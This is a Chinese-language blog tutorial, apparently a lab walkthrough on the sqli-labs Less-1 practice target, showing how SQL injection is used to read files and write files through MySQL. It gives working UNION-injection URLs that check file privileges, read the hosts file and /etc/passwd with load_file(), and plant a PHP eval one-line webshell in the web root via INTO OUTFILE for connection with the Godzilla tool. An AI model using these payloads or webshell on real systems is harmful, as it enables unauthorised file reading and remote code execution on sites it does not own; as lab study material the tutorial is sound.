sql 注入读写文件

sql 注入读写文件

本次实战,以sqli_labs靶场的第1关为例

环境配置准备

要想复现sql注入的读写,首先mysql就需要满足下面的条件

1.要想具有对文件的读写文件的权限,就需要保证当前mysql用户的File_priv为Y:

1.查询当前用户

select user();

image-20230824153503674

根据结果可知,当前mysql用户为root,主机为名为localhost

2.查询root用户在localhost的File_priv权限

select file_priv from mysql.user where user='root' and host='localhost'

image-20230824153704626

2.关闭MySQL 数据库有关于文件读写的安全选项secure_file_priv

在mysql的my.ini配置文件中找到[mysqld],在这个下面添加secure_file_priv=,然后重启服务器即可。

image-20230824152948040

查看secure_file_priv=的值

image-20230824164543579

image-20230824164448163

读取hosts文件

任务:利用sql 注入漏洞,读取hosts 文件

1.获取用户与主机信息

http://localhost/sqli_labs/Less-1/?id=-1' union select 1,2,user() --+

image-20230824155952197

获取到用户为root,主机为localhost,然后将这两个信息作为条件,接下来查看是否有文件读写权限

2.验证File_priv权限

http://localhost/sqli_labs/Less-1/?id=-1' union select  1,file_priv,3 from mysql.user where user='root' and host='localhost' --+

image-20230824160340209

回显Y,说明有文件读写权限

3.读取hosts文件

使用load_file() 函数

http://localhost/sqli_labs/Less-1/?id=-1'union select 1,load_file("c:\\windows\\system32\\drivers\\etc\\hosts"),3 --+

image-20230824160828097

发现读取成功,看到了hosts文件的内容。

4.注意

想要读取某个文件,除了需要需要关闭mysql中的安全选项secure_file_priv与当前mysql用户具有File_priv权限之外,还要确保当前系统用户具有访问hosts文件的权限。

如果目标是linux系统,就直接从/根目录下读取相应的文件了。

and 1=2 union select 1,load_file("/etc/passwd"),3

上传webshell

利用sql 注入漏洞,上传webshell,并用哥斯拉(godzila)连接。

利用select into outfile语句,将一句话木马信息上传至网站根目录下,因为要想访问木马文件,就必须将木马文件放在网站的根目录,phpstudy的根目录在www目录,具体的绝对路径就需要经过其他方式进行信息收集了。

1.上传一句话木马

<?php @eval($_REQUEST[777]);phpinfo()?>

通过联合注入的方式,

http://localhost/sqli_labs/Less-1/?id=-1' union select 1,"<?php @eval($_REQUEST[777]);phpinfo()?>",3 into outfile "G:\\SOFT\\netSecurity\\soft\\phpstudy2016\\phstudy2016-zc\\WWW\\2.php" --+

image-20230824162800825

2.哥斯拉连接

image-20230824163942015

image-20230824164013117

  • 3
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

yuan_boss

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值